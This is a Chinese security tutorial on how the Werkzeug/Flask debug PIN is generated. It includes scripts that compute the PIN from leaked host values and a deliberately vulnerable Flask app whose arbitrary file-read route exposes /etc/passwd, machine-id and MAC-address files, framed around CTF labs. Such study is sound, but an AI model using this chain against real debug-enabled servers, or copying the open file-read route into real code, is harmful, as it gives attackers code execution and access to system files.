深入浅出Flask PIN
最近搞SSTI，发现有的开发开了debug，由此想到了PIN，但一直没有对这个点做一个深入剖析，今天就完整的整理Flask Debug PIN码的生成原理与安全问题。
PIN是什么？
PIN是 Werkzeug（它是 Flask 的依赖项之一）提供的额外安全措施，以防止在不知道 PIN 的情况下访问调试器。您可以使用浏览器中的调试器引脚来启动交互式调试器。
请注意，无论如何，您都不应该在生产环境中使用调试模式，因为错误的堆栈跟踪可能会揭示代码的多个方面。
调试器 PIN 只是一个附加的安全层，以防您无意中在生产应用程序中打开调试模式，从而使攻击者难以访问调试器。
——来自StackOverFlow回答
werkzeug不同版本以及python不同版本都会影响PIN码的生成
但是PIN码并不是随机生成，当我们重复运行同一程序时，生成的PIN一样，PIN码生成满足一定的生成算法
探寻PIN码生成算法
笔者环境
•Python 3.10.2
•Flask 2.0.3
•PyCharm 2021.3.3 (Professional Edition)
•Windows 10 专业版 21H2
•Docker Desktop 4.7.0
先写一个简单的Flask测试程序
from flask import Flaskapp = Flask(__name__)
@app.route("/")def hello(): return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True)
运行，控制台状态如下
浏览器如下则成功
接下来开始调试程序，顺藤摸瓜找到生成PIN码的函数
PIN码是werkzeug的策略，先找到flask中导入werkzeug的部分
调试
在run.app行下断点，点击调试
点击步入
转到了flask/app.py，直接Ctrl+F搜索werkzeug
发现程序从werkzeug导入了run_simple模块，而且try部分有run app的参数
我们直接按住ctrl点击run_simple进去看看
此时进入了seving.py，找到了负责Debug的部分，PIN码是在debug状态下才有的，那这个部分很有可能存有PIN码生成部分，进去看看
此时进入了__init__.py，经过一番审计，先来看一看pin函数
主要是get_pin_and_cookie_name函数，进去看看
def get_pin_and_cookie_name( app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]: """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get("WERKZEUG_DEBUG_PIN") rv = None num = None
# Pin was explicitly disabled if pin == "off": return None, None
# Pin was provided explicitly if pin is not None and pin.replace("-", "").isdigit(): # If there are separators in the pin, return it directly if "-" in pin: rv = pin else: num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) username: t.Optional[str]
try: # getuser imports the pwd module, which does not exist in Google # App Engine. It may also raise a KeyError if the UID does not # have a username, such as in Docker. username = getpass.getuser() except (ImportError, KeyError): username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
return rv, cookie_name
返回的rv就是PIN码，但这个函数核心是将列表里的值hash，我们不需要去读懂这段代码，只需要将列表里的值填上直接运行代码就行。
生成要素：
username
通过getpass.getuser()读取，通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取，默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取，默认值为Flask
moddir
当前网络的mac地址的十进制数，通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取，通过文件/sys/class/net/eth0/address得到16进制结果，转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id，machine_id由三个合并(docker就后两个)：1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
当这6个值我们可以获取到时，就可以推算出生成的PIN码
生成算法
修改一下就是PIN生成算法
import hashlibfrom itertools import chain
probably_public_bits = [ 'root', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]
# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [ '2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
print(rv)
然后这里还有一个点，python不同版本的算法区别
不同版本算法区别
3.6采用MD5加密，3.8采用sha1加密，所以脚本有所不同
3.6 MD5
#MD5import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app', 'Flask', '/usr/local/lib/python3.7/site-packages/flask/app.py']
private_bits = [ '25214234362297', '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']
h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print(rv)3.8 SHA1#sha1import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app', 'Flask', '/usr/local/lib/python3.8/site-packages/flask/app.py']
private_bits = [ '2485377581187', '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print(rv)
其实最稳妥的方法就是自己调试，把自己版本的生成PIN部分提取出来，把num和rv改成None，直接print rv就行
docker测试
本地docker在Windows上
我们将上面的测试代码修改为下，加入文件读取功能，并且return 0当我们传值错误可出发debug模式
from flask import Flask, requestapp = Flask(__name__)
@app.route("/")def hello(): return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
@app.route("/file")def file(): filename = request.args.get('filename') try: with open(filename, 'r') as f: return f.read() except: return 0
if __name__ == "__main__": app.run(host="0.0.0.0", port=9000, debug=True)
回到我们的环境，模块路径通过传入错误文件名触发报错可得到，主要就是machine-id，其他部分直接出的就不用看了，docker环境只需要后俩
拼接起来，代入程序，直接运行
与环境里的一致
如果大家嫌开环境麻烦这里推荐两个线上靶场，这俩都是计算PIN
•[GYCTF2020]FlaskApp——BUUCTF
•web801——CTFshow
